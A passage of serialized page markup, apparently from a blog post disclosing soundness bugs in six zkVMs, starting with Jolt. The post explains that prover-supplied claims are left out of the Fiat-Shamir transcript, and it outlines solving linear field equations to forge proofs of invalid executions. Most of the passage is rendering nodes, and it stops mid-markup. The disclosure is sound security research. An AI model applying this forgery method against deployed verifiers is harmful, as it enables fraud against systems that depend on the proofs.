90,"props":116535,"children":116537},{"className":116536},[23535,115395],[],{"type":24,"tag":25,"props":116539,"children":116540},{},[116541,116543,116725],{"type":29,"value":116542},"The global check: ",{"type":24,"tag":32,"props":116544,"children":116546},{"className":116545},[6368,6369],[116547],{"type":24,"tag":90,"props":116548,"children":116550},{"className":116549},[6374],[116551],{"type":24,"tag":90,"props":116552,"children":116554},{"className":116553,"ariaHidden":6380},[6379],[116555,116712],{"type":24,"tag":90,"props":116556,"children":116558},{"className":116557},[6385],[116559,116563,116620,116624,116633,116638,116699,116703,116708],{"type":24,"tag":90,"props":116560,"children":116562},{"className":116561,"style":94819},[6390],[],{"type":24,"tag":90,"props":116564,"children":116566},{"className":116565},[23420],[116567,116572],{"type":24,"tag":90,"props":116568,"children":116570},{"className":116569,"style":23427},[23420,23425,23426],[116571],{"type":29,"value":110672},{"type":24,"tag":90,"props":116573,"children":116575},{"className":116574},[6412],[116576],{"type":24,"tag":90,"props":116577,"children":116579},{"className":116578},[6417,23438],[116580,116609],{"type":24,"tag":90,"props":116581,"children":116583},{"className":116582},[6422],[116584,116604],{"type":24,"tag":90,"props":116585,"children":116587},{"className":116586,"style":116084},[6427],[116588],{"type":24,"tag":90,"props":116589,"children":116590},{"style":23451},[116591,116595],{"type":24,"tag":90,"props":116592,"children":116594},{"className":116593,"style":6437},[6436],[],{"type":24,"tag":90,"props":116596,"children":116598},{"className":116597},[6442,6443,6444,6445],[116599],{"type":24,"tag":90,"props":116600,"children":116602},{"className":116601},[6396,23384,6445],[116603],{"type":29,"value":6123},{"type":24,"tag":90,"props":116605,"children":116607},{"className":116606},[23541],[116608],{"type":29,"value":23544},{"type":24,"tag":90,"props":116610,"children":116612},{"className":116611},[6422],[116613],{"type":24,"tag":90,"props":116614,"children":116616},{"className":116615,"style":116364},[6427],[116617],{"type":24,"tag":90,"props":116618,"children":116619},{},[],{"type":24,"tag":90,"props":116621,"children":116623},{"className":116622,"style":6514},[6475],[],{"type":24,"tag":90,"props":116625,"children":116627},{"className":116626},[6396,29],[116628],{"type":24,"tag":90,"props":116629,"children":116631},{"className":116630},[6396],[116632],{"type":29,"value":115970},{"type":24,"tag":90,"props":116634,"children":116636},{"className":116635,"style":94877},[6396],[116637],{"type":29,"value":5482},{"type":24,"tag":90,"props":116639,"children":116641},{"className":116640},[6396],[116642,116651],{"type":24,"tag":90,"props":116643,"children":116645},{"className":116644},[6396,29],[116646],{"type":24,"tag":90,"props":116647,"children":116649},{"className":116648},[6396],[116650],{"type":29,"value":78462},{"type":24,"tag":90,"props":116652,"children":116654},{"className":116653},[6412],[116655],{"type":24,"tag":90,"props":116656,"children":116658},{"className":116657},[6417,23438],[116659,116688],{"type":24,"tag":90,"props":116660,"children":116662},{"className":116661},[6422],[116663,116683],{"type":24,"tag":90,"props":116664,"children":116666},{"className":116665,"style":95406},[6427],[116667],{"type":24,"tag":90,"props":116668,"children":116669},{"style":116007},[116670,116674],{"type":24,"tag":90,"props":116671,"children":116673},{"className":116672,"style":6437},[6436],[],{"type":24,"tag":90,"props":116675,"children":116677},{"className":116676},[6442,6443,6444,6445],[116678],{"type":24,"tag":90,"props":116679,"children":116681},{"className":116680},[6396,23384,6445],[116682],{"type":29,"value":6123},{"type":24,"tag":90,"props":116684,"children":116686},{"className":116685},[23541],[116687],{"type":29,"value":23544},{"type":24,"tag":90,"props":116689,"children":116691},{"className":116690},[6422],[116692],{"type":24,"tag":90,"props":116693,"children":116695},{"className":116694,"style":94960},[6427],[116696],{"type":24,"tag":90,"props":116697,"children":116698},{},[],{"type":24,"tag":90,"props":116700,"children":116702},{"className":116701,"style":6573},[6475],[],{"type":24,"tag":90,"props":116704,"children":116706},{"className":116705},[6578],[116707],{"type":29,"value":5491},{"type":24,"tag":90,"props":116709,"children":116711},{"className":116710,"style":6573},[6475],[],{"type":24,"tag":90,"props":116713,"children":116715},{"className":116714},[6385],[116716,116720],{"type":24,"tag":90,"props":116717,"children":116719},{"className":116718,"style":95908},[6390],[],{"type":24,"tag":90,"props":116721,"children":116723},{"className":116722},[6396],[116724],{"type":29,"value":6408},{"type":29,"value":226},{"type":24,"tag":25,"props":116727,"children":116728},{},[116729,116734,116736,116742],{"type":24,"tag":7711,"props":116730,"children":116731},{},[116732],{"type":29,"value":116733},"Why this is vulnerable:",{"type":29,"value":116735}," The ",{"type":24,"tag":32,"props":116737,"children":116739},{"className":116738},[],[116740],{"type":29,"value":116741},"claimed_sum",{"type":29,"value":116743}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":24,"tag":20586,"props":116745,"children":116746},{},[],{"type":24,"tag":850,"props":116748,"children":116750},{"id":116749},"the-universal-attack-pattern",[116751],{"type":29,"value":116752},"The Universal Attack Pattern",{"type":24,"tag":25,"props":116754,"children":116755},{},[116756],{"type":29,"value":116757},"Now we can describe the attack pattern that works on all six systems:",{"type":24,"tag":25,"props":116759,"children":116760},{},[116761],{"type":24,"tag":6301,"props":116762,"children":116765},{"alt":116763,"src":116764},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":24,"tag":25,"props":116767,"children":116768},{},[116769,116771,116796],{"type":29,"value":116770},"When a value ",{"type":24,"tag":32,"props":116772,"children":116774},{"className":116773},[6368,6369],[116775],{"type":24,"tag":90,"props":116776,"children":116778},{"className":116777},[6374],[116779],{"type":24,"tag":90,"props":116780,"children":116782},{"className":116781,"ariaHidden":6380},[6379],[116783],{"type":24,"tag":90,"props":116784,"children":116786},{"className":116785},[6385],[116787,116791],{"type":24,"tag":90,"props":116788,"children":116790},{"className":116789,"style":23379},[6390],[],{"type":24,"tag":90,"props":116792,"children":116794},{"className":116793,"style":110075},[6396,23384],[116795],{"type":29,"value":110399},{"type":29,"value":116797}," isn't transcript-bound:",{"type":24,"tag":3100,"props":116799,"children":116800},{},[116801,116832,116909,117054],{"type":24,"tag":3104,"props":116802,"children":116803},{},[116804,116806,116831],{"type":29,"value":116805},"Challenges are fixed (independent of ",{"type":24,"tag":32,"props":116807,"children":116809},{"className":116808},[6368,6369],[116810],{"type":24,"tag":90,"props":116811,"children":116813},{"className":116812},[6374],[116814],{"type":24,"tag":90,"props":116815,"children":116817},{"className":116816,"ariaHidden":6380},[6379],[116818],{"type":24,"tag":90,"props":116819,"children":116821},{"className":116820},[6385],[116822,116826],{"type":24,"tag":90,"props":116823,"children":116825},{"className":116824,"style":23379},[6390],[],{"type":24,"tag":90,"props":116827,"children":116829},{"className":116828,"style":110075},[6396,23384],[116830],{"type":29,"value":110399},{"type":29,"value":517},{"type":24,"tag":3104,"props":116833,"children":116834},{},[116835,116837],{"type":29,"value":116836},"The verification equation has form: ",{"type":24,"tag":32,"props":116838,"children":116840},{"className":116839},[6368,6369],[116841],{"type":24,"tag":90,"props":116842,"children":116844},{"className":116843},[6374],[116845],{"type":24,"tag":90,"props":116846,"children":116848},{"className":116847,"ariaHidden":6380},[6379],[116849,116890],{"type":24,"tag":90,"props":116850,"children":116852},{"className":116851},[6385],[116853,116857,116862,116867,116872,116877,116881,116886],{"type":24,"tag":90,"props":116854,"children":116856},{"className":116855,"style":6496},[6390],[],{"type":24,"tag":90,"props":116858,"children":116860},{"className":116859,"style":97231},[6396,23384],[116861],{"type":29,"value":34899},{"type":24,"tag":90,"props":116863,"children":116865},{"className":116864},[23513],[116866],{"type":29,"value":117},{"type":24,"tag":90,"props":116868,"children":116870},{"className":116869,"style":110075},[6396,23384],[116871],{"type":29,"value":110399},{"type":24,"tag":90,"props":116873,"children":116875},{"className":116874},[23535],[116876],{"type":29,"value":517},{"type":24,"tag":90,"props":116878,"children":116880},{"className":116879,"style":6573},[6475],[],{"type":24,"tag":90,"props":116882,"children":116884},{"className":116883},[6578],[116885],{"type":29,"value":5491},{"type":24,"tag":90,"props":116887,"children":116889},{"className":116888,"style":6573},[6475],[],{"type":24,"tag":90,"props":116891,"children":116893},{"className":116892},[6385],[116894,116899],{"type":24,"tag":90,"props":116895,"children":116898},{"className":116896,"style":116897},[6390],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":24,"tag":90,"props":116900,"children":116902},{"className":116901},[6396,29],[116903],{"type":24,"tag":90,"props":116904,"children":116906},{"className":116905},[6396],[116907],{"type":29,"value":116908},"target",{"type":24,"tag":3104,"props":116910,"children":116911},{},[116912,116913,116939,116941],{"type":29,"value":9861},{"type":24,"tag":32,"props":116914,"children":116916},{"className":116915},[6368,6369],[116917],{"type":24,"tag":90,"props":116918,"children":116920},{"className":116919},[6374],[116921],{"type":24,"tag":90,"props":116922,"children":116924},{"className":116923,"ariaHidden":6380},[6379],[116925],{"type":24,"tag":90,"props":116926,"children":116928},{"className":116927},[6385],[116929,116934],{"type":24,"tag":90,"props":116930,"children":116933},{"className":116931,"style":116932},[6390],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":24,"tag":90,"props":116935,"children":116937},{"className":116936,"style":97231},[6396,23384],[116938],{"type":29,"value":34899},{"type":29,"value":116940}," is linear: ",{"type":24,"tag":32,"props":116942,"children":116944},{"className":116943},[6368,6369],[116945],{"type":24,"tag":90,"props":116946,"children":116948},{"className":116947},[6374],[116949],{"type":24,"tag":90,"props":116950,"children":116952},{"className":116951,"ariaHidden":6380},[6379],[116953,116982,117009,117037],{"type":24,"tag":90,"props":116954,"children":116956},{"className":116955},[6385],[116957,116962,116969,116973,116978],{"type":24,"tag":90,"props":116958,"children":116961},{"className":116959,"style":116960},[6390],"height:0.4445em;",[],{"type":24,"tag":90,"props":116963,"children":116966},{"className":116964,"style":116965},[6396,23384],"margin-right:0.0037em;",[116967],{"type":29,"value":116968},"α",{"type":24,"tag":90,"props":116970,"children":116972},{"className":116971,"style":6476},[6475],[],{"type":24,"tag":90,"props":116974,"children":116976},{"className":116975},[6481],[116977],{"type":29,"value":113139},{"type":24,"tag":90,"props":116979,"children":116981},{"className":116980,"style":6476},[6475],[],{"type":24,"tag":90,"props":116983,"children":116985},{"className":116984},[6385],[116986,116991,116996,117000,117005],{"type":24,"tag":90,"props":116987,"children":116990},{"className":116988,"style":116989},[6390],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":24,"tag":90,"props":116992,"children":116994},{"className":116993,"style":110075},[6396,23384],[116995],{"type":29,"value":110399},{"type":24,"tag":90,"props":116997,"children":116999},{"className":116998,"style":6476},[6475],[],{"type":24,"tag":90,"props":117001,"children":117003},{"className":117002},[6481],[117004],{"type":29,"value":6767},{"type":24,"tag":90,"props":117006,"children":117008},{"className":117007,"style":6476},[6475],[],{"type":24,"tag":90,"props":117010,"children":117012},{"className":117011},[6385],[117013,117017,117024,117028,117033],{"type":24,"tag":90,"props":117014,"children":117016},{"className":117015,"style":116932},[6390],[],{"type":24,"tag":90,"props":117018,"children":117021},{"className":117019,"style":117020},[6396,23384],"margin-right:0.05278em;",[117022],{"type":29,"value":117023},"β",{"type":24,"tag":90,"props":117025,"children":117027},{"className":117026,"style":6573},[6475],[],{"type":24,"tag":90,"props":117029,"children":117031},{"className":117030},[6578],[117032],{"type":29,"value":5491},{"type":24,"tag":90,"props":117034,"children":117036},{"className":117035,"style":6573},[6475],[],{"type":24,"tag":90,"props":117038,"children":117040},{"className":117039},[6385],[117041,117045],{"type":24,"tag":90,"props":117042,"children":117044},{"className":117043,"style":116897},[6390],[],{"type":24,"tag":90,"props":117046,"children":117048},{"className":117047},[6396,29],[117049],{"type":24,"tag":90,"props":117050,"children":117052},{"className":117051},[6396],[117053],{"type":29,"value":116908},{"type":24,"tag":3104,"props":117055,"children":117056},{},[117057,117059],{"type":29,"value":117058},"Solve: ",{"type":24,"tag":32,"props":117060,"children":117062},{"className":117061},[6368,6369],[117063],{"type":24,"tag":90,"props":117064,"children":117066},{"className":117065},[6374],[117067],{"type":24,"tag":90,"props":117068,"children":117070},{"className":117069,"ariaHidden":6380},[6379],[117071,117097,117132],{"type":24,"tag":90,"props":117072,"children":117074},{"className":117073},[6385],[117075,117079,117084,117088,117093],{"type":24,"tag":90,"props":117076,"children":117078},{"className":117077,"style":23379},[6390],[],{"type":24,"tag":90,"props":117080,"children":117082},{"className":117081,"style":110075},[6396,23384],[117083],{"type":29,"value":110399},{"type":24,"tag":90,"props":117085,"children":117087},{"className":117086,"style":6573},[6475],[],{"type":24,"tag":90,"props":117089,"children":117091},{"className":117090},[6578],[117092],{"type":29,"value":5491},{"type":24,"tag":90,"props":117094,"children":117096},{"className":117095,"style":6573},[6475],[],{"type":24,"tag":90,"props":117098,"children":117100},{"className":117099},[6385],[117101,117105,117110,117119,117123,117128],{"type":24,"tag":90,"props":117102,"children":117104},{"className":117103,"style":6496},[6390],[],{"type":24,"tag":90,"props":117106,"children":117108},{"className":117107},[23513],[117109],{"type":29,"value":117},{"type":24,"tag":90,"props":117111,"children":117113},{"className":117112},[6396,29],[117114],{"type":24,"tag":90,"props":117115,"children":117117},{"className":117116},[6396],[117118],{"type":29,"value":116908},{"type":24,"tag":90,"props":117120,"children":117122},{"className":117121,"style":6476},[6475],[],{"type":24,"tag":90,"props":117124,"children":117126},{"className":117125},[6481],[117127],{"type":29,"value":6456},{"type":24,"tag":90,"props":117129,"children":117131},{"className":117130,"style":6476},[6475],[],{"type":24,"tag":90,"props":117133,"children":117135},{"className":117134},[6385],[117136,117140,117145,117150,117155],{"type":24,"tag":90,"props":117137,"children":117139},{"className":117138,"style":6496},[6390],[],{"type":24,"tag":90,"props":117141,"children":117143},{"className":117142,"style":117020},[6396,23384],[117144],{"type":29,"value":117023},{"type":24,"tag":90,"props":117146,"children":117148},{"className":117147},[23535],[117149],{"type":29,"value":517},{"type":24,"tag":90,"props":117151,"children":117153},{"className":117152},[6396],[117154],{"type":29,"value":6966},{"type":24,"tag":90,"props":117156,"children":117158},{"className":117157,"style":116965},[6396,23384],[117159],{"type":29,"value":116968},{"type":24,"tag":25,"props":117161,"children":117162},{},[117163],{"type":29,"value":117164},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":24,"tag":25,"props":117166,"children":117167},{},[117168,117170,117248],{"type":29,"value":117169},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":24,"tag":32,"props":117171,"children":117173},{"className":117172},[6368,6369],[117174],{"type":24,"tag":90,"props":117175,"children":117177},{"className":117176},[6374],[117178],{"type":24,"tag":90,"props":117179,"children":117181},{"className":117180,"ariaHidden":6380},[6379],[117182],{"type":24,"tag":90,"props":117183,"children":117185},{"className":117184},[6385],[117186,117191,117197,117202,117243],{"type":24,"tag":90,"props":117187,"children":117190},{"className":117188,"style":117189},[6390],"height:1.0641em;vertical-align:-0.25em;",[],{"type":24,"tag":90,"props":117192,"children":117194},{"className":117193,"style":94877},[6396,23384],[117195],{"type":29,"value":117196},"O",{"type":24,"tag":90,"props":117198,"children":117200},{"className":117199},[23513],[117201],{"type":29,"value":117},{"type":24,"tag":90,"props":117203,"children":117205},{"className":117204},[6396],[117206,117211],{"type":24,"tag":90,"props":117207,"children":117209},{"className":117208},[6396,23384],[117210],{"type":29,"value":58228},{"type":24,"tag":90,"props":117212,"children":117214},{"className":117213},[6412],[117215],{"type":24,"tag":90,"props":117216,"children":117218},{"className":117217},[6417],[117219],{"type":24,"tag":90,"props":117220,"children":117222},{"className":117221},[6422],[117223],{"type":24,"tag":90,"props":117224,"children":117226},{"className":117225,"style":6391},[6427],[117227],{"type":24,"tag":90,"props":117228,"children":117229},{"style":6431},[117230,117234],{"type":24,"tag":90,"props":117231,"children":117233},{"className":117232,"style":6437},[6436],[],{"type":24,"tag":90,"props":117235,"children":117237},{"className":117236},[6442,6443,6444,6445],[117238],{"type":24,"tag":90,"props":117239,"children":117241},{"className":117240},[6396,6445],[117242],{"type":29,"value":3817},{"type":24,"tag":90,"props":117244,"children":117246},{"className":117245},[23535],[117247],{"type":29,"value":517},{"type":29,"value":117249}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":24,"tag":20586,"props":117251,"children":117252},{},[],{"type":24,"tag":850,"props":117254,"children":117256},{"id":117255},"the-six-broken-systems",[117257],{"type":29,"value":117258},"The Six Broken Systems",{"type":24,"tag":25,"props":117260,"children":117261},{},[117262],{"type":24,"tag":6301,"props":117263,"children":117266},{"alt":117264,"src":117265},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":24,"tag":25,"props":117268,"children":117269},{},[117270],{"type":29,"value":117271},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":24,"tag":20586,"props":117273,"children":117274},{},[],{"type":24,"tag":1019,"props":117276,"children":117278},{"id":117277},"jolt-a16z",[117279],{"type":29,"value":117280},"Jolt (a16z)",{"type":24,"tag":25,"props":117282,"children":117283},{},[117284],{"type":29,"value":117285},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":24,"tag":25,"props":117287,"children":117288},{},[117289],{"type":24,"tag":7711,"props":117290,"children":117291},{},[117292],{"type":29,"value":117293},"The proof structure:",{"type":24,"tag":80,"props":117295,"children":117297},{"code":117296},"JoltProof {\n commitments: Vec\u003CCommitment>, // Polynomial commitments to trace\n opening_claims: Map\u003COpeningId, Claim>, // \u003C- THE VULNERABLE VALUES\n proofs: Map\u003CStage, SumcheckProof>, // Sumcheck and opening proofs\n ...\n}\n",[117298],{"type":24,"tag":32,"props":117299,"children":117300},{"__ignoreMap":7},[117301],{"type":29,"value":117296},{"type":24,"tag":25,"props":117303,"children":117304},{},[117305],{"type":24,"tag":7711,"props":117306,"children":117307},{},[117308],{"type":29,"value":117309},"The verification flow:",{"type":24,"tag":25,"props":117311,"children":117312},{},[117313],{"type":24,"tag":6301,"props":117314,"children":117317},{"alt":117315,"src":117316},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":24,"tag":25,"props":117319,"children":117320},{},[117321,117326,117328,117334,117336,117342,117344,117349],{"type":24,"tag":7711,"props":117322,"children":117323},{},[117324],{"type":29,"value":117325},"The bug:",{"type":29,"value":117327}," Each sumcheck instance provides an ",{"type":24,"tag":32,"props":117329,"children":117331},{"className":117330},[],[117332],{"type":29,"value":117333},"input_claim",{"type":29,"value":117335},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":24,"tag":32,"props":117337,"children":117339},{"className":117338},[],[117340],{"type":29,"value":117341},"opening_claims",{"type":29,"value":117343}," in the proof, but they were ",{"type":24,"tag":7711,"props":117345,"children":117346},{},[117347],{"type":29,"value":117348},"never absorbed into the transcript",{"type":29,"value":117350}," before the batching coefficients were derived.",{"type":24,"tag":25,"props":117352,"children":117353},{},[117354],{"type":24,"tag":6301,"props":117355,"children":117358},{"alt":117356,"src":117357},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":24,"tag":25,"props":117360,"children":117361},{},[117362],{"type":24,"tag":7711,"props":117363,"children":117364},{},[117365],{"type":29,"value":117366},"How sumcheck uses opening_claims:",{"type":24,"tag":25,"props":117368,"children":117369},{},[117370,117372,117378,117380,117457],{"type":29,"value":117371},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":24,"tag":32,"props":117373,"children":117375},{"className":117374},[],[117376],{"type":29,"value":117377},"BatchedClaim",{"type":29,"value":117379}," by taking a random linear combination of the individual claims ",{"type":24,"tag":32,"props":117381,"children":117383},{"className":117382},[6368,6369],[117384],{"type":24,"tag":90,"props":117385,"children":117387},{"className":117386},[6374],[117388],{"type":24,"tag":90,"props":117389,"children":117391},{"className":117390,"ariaHidden":6380},[6379],[117392],{"type":24,"tag":90,"props":117393,"children":117395},{"className":117394},[6385],[117396,117400],{"type":24,"tag":90,"props":117397,"children":117399},{"className":117398,"style":112874},[6390],[],{"type":24,"tag":90,"props":117401,"children":117403},{"className":117402},[6396],[117404,117409],{"type":24,"tag":90,"props":117405,"children":117407},{"className":117406,"style":95111},[6396,23384],[117408],{"type":29,"value":95114},{"type":24,"tag":90,"props":117410,"children":117412},{"className":117411},[6412],[117413],{"type":24,"tag":90,"props":117414,"children":117416},{"className":117415},[6417,23438],[117417,117446],{"type":24,"tag":90,"props":117418,"children":117420},{"className":117419},[6422],[117421,117441],{"type":24,"tag":90,"props":117422,"children":117424},{"className":117423,"style":95406},[6427],[117425],{"type":24,"tag":90,"props":117426,"children":117427},{"style":112306},[117428,117432],{"type":24,"tag":90,"props":117429,"children":117431},{"className":117430,"style":6437},[6436],[],{"type":24,"tag":90,"props":117433,"children":117435},{"className":117434},[6442,6443,6444,6445],[117436],{"type":24,"tag":90,"props":117437,"children":117439},{"className":117438},[6396,23384,6445],[117440],{"type":29,"value":6123},{"type":24,"tag":90,"props":117442,"children":117444},{"className":117443},[23541],[117445],{"type":29,"value":23544},{"type":24,"tag":90,"props":117447,"children":117449},{"className":117448},[6422],[117450],{"type":24,"tag":90,"props":117451,"children":117453},{"className":117452,"style":94960},[6427],[117454],{"type":24,"tag":90,"props":117455,"children":117456},{},[],{"type":29,"value":78},{"type":24,"tag":25,"props":117459,"children":117460},{},[117461],{"type":24,"tag":32,"props":117462,"children":117464},{"className":117463},[6368,6369],[117465],{"type":24,"tag":90,"props":117466,"children":117468},{"className":117467},[6374],[117469],{"type":24,"tag":90,"props":117470,"children":117472},{"className":117471,"ariaHidden":6380},[6379],[117473,117503,117644],{"type":24,"tag":90,"props":117474,"children":117476},{"className":117475},[6385],[117477,117481,117490,117494,117499],{"type":24,"tag":90,"props":117478,"children":117480},{"className":117479,"style":94792},[6390],[],{"type":24,"tag":90,"props":117482,"children":117484},{"className":117483},[6396,29],[117485],{"type":24,"tag":90,"props":117486,"children":117488},{"className":117487},[6396],[117489],{"type":29,"value":117377},{"type":24,"tag":90,"props":117491,"children":117493},{"className":117492,"style":6573},[6475],[],{"type":24,"tag":90,"props":117495,"children":117497},{"className":117496},[6578],[117498],{"type":29,"value":5491},{"type":24,"tag":90,"props":117500,"children":117502},{"className":117501,"style":6573},[6475],[],{"type":24,"tag":90,"props":117504,"children":117506},{"className":117505},[6385],[117507,117512,117569,117573,117631,117635,117640],{"type":24,"tag":90,"props":117508,"children":117511},{"className":117509,"style":117510},[6390],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":24,"tag":90,"props":117513,"children":117515},{"className":117514},[23420],[117516,117521],{"type":24,"tag":90,"props":117517,"children":117519},{"className":117518,"style":23427},[23420,23425,23426],[117520],{"type":29,"value":110672},{"type":24,"tag":90,"props":117522,"children":117524},{"className":117523},[6412],[117525],{"type":24,"tag":90,"props":117526,"children":117528},{"className":117527},[6417,23438],[117529,117558],{"type":24,"tag":90,"props":117530,"children":117532},{"className":117531},[6422],[117533,117553],{"type":24,"tag":90,"props":117534,"children":117536},{"className":117535,"style":116084},[6427],[117537],{"type":24,"tag":90,"props":117538,"children":117539},{"style":23451},[117540,117544],{"type":24,"tag":90,"props":117541,"children":117543},{"className":117542,"style":6437},[6436],[],{"type":24,"tag":90,"props":117545,"children":117547},{"className":117546},[6442,6443,6444,6445],[117548],{"type":24,"tag":90,"props":117549,"children":117551},{"className":117550},[6396,23384,6445],[117552],{"type":29,"value":6123},{"type":24,"tag":90,"props":117554,"children":117556},{"className":117555},[23541],[117557],{"type":29,"value":23544},{"type":24,"tag":90,"props":117559,"children":117561},{"className":117560},[6422],[117562],{"type":24,"tag":90,"props":117563,"children":117565},{"className":117564,"style":116364},[6427],[117566],{"type":24,"tag":90,"props":117567,"children":117568},{},[],{"type":24,"tag":90,"props":117570,"children":117572},{"className":117571,"style":6514},[6475],[],{"type":24,"tag":90,"props":117574,"children":117576},{"className":117575},[6396],[117577,117582],{"type":24,"tag":90,"props":117578,"children":117580},{"className":117579,"style":116965},[6396,23384],[117581],{"type":29,"value":116968},{"type":24,"tag":90,"props":117583,"children":117585},{"className":117584},[6412],[117586],{"type":24,"tag":90,"props":117587,"children":117589},{"className":117588},[6417,23438],[117590,117620],{"type":24,"tag":90,"props":117591,"children":117593},{"className":117592},[6422],[117594,117615],{"type":24,"tag":90,"props":117595,"children":117597},{"className":117596,"style":95406},[6427],[117598],{"type":24,"tag":90,"props":117599,"children":117601},{"style":117600},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[117602,117606],{"type":24,"tag":90,"props":117603,"children":117605},{"className":117604,"style":6437},[6436],[],{"type":24,"tag":90,"props":117607,"children":117609},{"className":117608},[6442,6443,6444,6445],[117610],{"type":24,"tag":90,"props":117611,"children":117613},{"className":117612},[6396,23384,6445],[117614],{"type":29,"value":6123},{"type":24,"tag":90,"props":117616,"children":117618},{"className":117617},[23541],[117619],{"type":29,"value":23544},{"type":24,"tag":90,"props":117621,"children":117623},{"className":117622},[6422],[117624],{"type":24,"tag":90,"props":117625,"children":117627},{"className":117626,"style":94960},[6427],[117628],{"type":24,"tag":90,"props":117629,"children":117630},{},[],{"type":24,"tag":90,"props":117632,"children":117634},{"className":117633,"style":6476},[6475],[],{"type":24,"tag":90,"props":117636,"children":117638},{"className":117637},[6481],[117639],{"type":29,"value":113139},{"type":24,"tag":90,"props":117641,"children":117643},{"className":117642,"style":6476},[6475],[],{"type":24,"tag":90,"props":117645,"children":117647},{"className":117646},[6385],[117648,117652],{"type":24,"tag":90,"props":117649,"children":117651},{"className":117650,"style":112874},[6390],[],{"type":24,"tag":90,"props":117653,"children":117655},{"className":117654},[6396],[117656,117661],{"type":24,"tag":90,"props":117657,"children":117659},{"className":117658,"style":95111},[6396,23384],[117660],{"type":29,"value":95114},{"type":24,"tag":90,"props":117662,"children":117664},{"className":117663},[6412],[117665],{"type":24,"tag":90,"props":117666,"children":117668},{"className":117667},[6417,23438],[117669,117698],{"type":24,"tag":90,"props":117670,"children":117672},{"className":117671},[6422],[117673,117693],{"type":24,"tag":90,"props":117674,"children":117676},{"className":117675,"style":95406},[6427],[117677],{"type":24,"tag":90,"props":117678,"children":117679},{"style":112306},[117680,117684],{"type":24,"tag":90,"props":117681,"children":117683},{"className":117682,"style":6437},[6436],[],{"type":24,"tag":90,"props":117685,"children":117687},{"className":117686},[6442,6443,6444,6445],[117688],{"type":24,"tag":90,"props":117689,"children":117691},{"className":117690},[6396,23384,6445],[117692],{"type":29,"value":6123},{"type":24,"tag":90,"props":117694,"children":117696},{"className":117695},[23541],[117697],{"type":29,"value":23544},{"type":24,"tag":90,"props":117699,"children":117701},{"className":117700},[6422],[117702],{"type":24,"tag":90,"props":117703,"children":117705},{"className":117704,"style":94960},[6427],[117706],{"type":24,"tag":90,"props":117707,"children":117708},{},[],{"type":24,"tag":25,"props":117710,"children":117711},{},[117712,117714,117791,117793,117798,117800,117877,117879,117956,117958,118035],{"type":29,"value":117713},"where ",{"type":24,"tag":32,"props":117715,"children":117717},{"className":117716},[6368,6369],[117718],{"type":24,"tag":90,"props":117719,"children":117721},{"className":117720},[6374],[117722],{"type":24,"tag":90,"props":117723,"children":117725},{"className":117724,"ariaHidden":6380},[6379],[117726],{"type":24,"tag":90,"props":117727,"children":117729},{"className":117728},[6385],[117730,117734],{"type":24,"tag":90,"props":117731,"children":117733},{"className":117732,"style":111847},[6390],[],{"type":24,"tag":90,"props":117735,"children":117737},{"className":117736},[6396],[117738,117743],{"type":24,"tag":90,"props":117739,"children":117741},{"className":117740,"style":116965},[6396,23384],[117742],{"type":29,"value":116968},{"type":24,"tag":90,"props":117744,"children":117746},{"className":117745},[6412],[117747],{"type":24,"tag":90,"props":117748,"children":117750},{"className":117749},[6417,23438],[117751,117780],{"type":24,"tag":90,"props":117752,"children":117754},{"className":117753},[6422],[117755,117775],{"type":24,"tag":90,"props":117756,"children":117758},{"className":117757,"style":95406},[6427],[117759],{"type":24,"tag":90,"props":117760,"children":117761},{"style":117600},[117762,117766],{"type":24,"tag":90,"props":117763,"children":117765},{"className":117764,"style":6437},[6436],[],{"type":24,"tag":90,"props":117767,"children":117769},{"className":117768},[6442,6443,6444,6445],[117770],{"type":24,"tag":90,"props":117771,"children":117773},{"className":117772},[6396,23384,6445],[117774],{"type":29,"value":6123},{"type":24,"tag":90,"props":117776,"children":117778},{"className":117777},[23541],[117779],{"type":29,"value":23544},{"type":24,"tag":90,"props":117781,"children":117783},{"className":117782},[6422],[117784],{"type":24,"tag":90,"props":117785,"children":117787},{"className":117786,"style":94960},[6427],[117788],{"type":24,"tag":90,"props":117789,"children":117790},{},[],{"type":29,"value":117792}," are random coefficients derived from the transcript. Since ",{"type":24,"tag":32,"props":117794,"children":117796},{"className":117795},[],[117797],{"type":29,"value":117341},{"type":29,"value":117799}," (containing ",{"type":24,"tag":32,"props":117801,"children":117803},{"className":117802},[6368,6369],[117804],{"type":24,"tag":90,"props":117805,"children":117807},{"className":117806},[6374],[117808],{"type":24,"tag":90,"props":117809,"children":117811},{"className":117810,"ariaHidden":6380},[6379],[117812],{"type":24,"tag":90,"props":117813,"children":117815},{"className":117814},[6385],[117816,117820],{"type":24,"tag":90,"props":117817,"children":117819},{"className":117818,"style":112874},[6390],[],{"type":24,"tag":90,"props":117821,"children":117823},{"className":117822},[6396],[117824,117829],{"type":24,"tag":90,"props":117825,"children":117827},{"className":117826,"style":95111},[6396,23384],[117828],{"type":29,"value":95114},{"type":24,"tag":90,"props":117830,"children":117832},{"className":117831},[6412],[117833],{"type":24,"tag":90,"props":117834,"children":117836},{"className":117835},[6417,23438],[117837,117866],{"type":24,"tag":90,"props":117838,"children":117840},{"className":117839},[6422],[117841,117861],{"type":24,"tag":90,"props":117842,"children":117844},{"className":117843,"style":95406},[6427],[117845],{"type":24,"tag":90,"props":117846,"children":117847},{"style":112306},[117848,117852],{"type":24,"tag":90,"props":117849,"children":117851},{"className":117850,"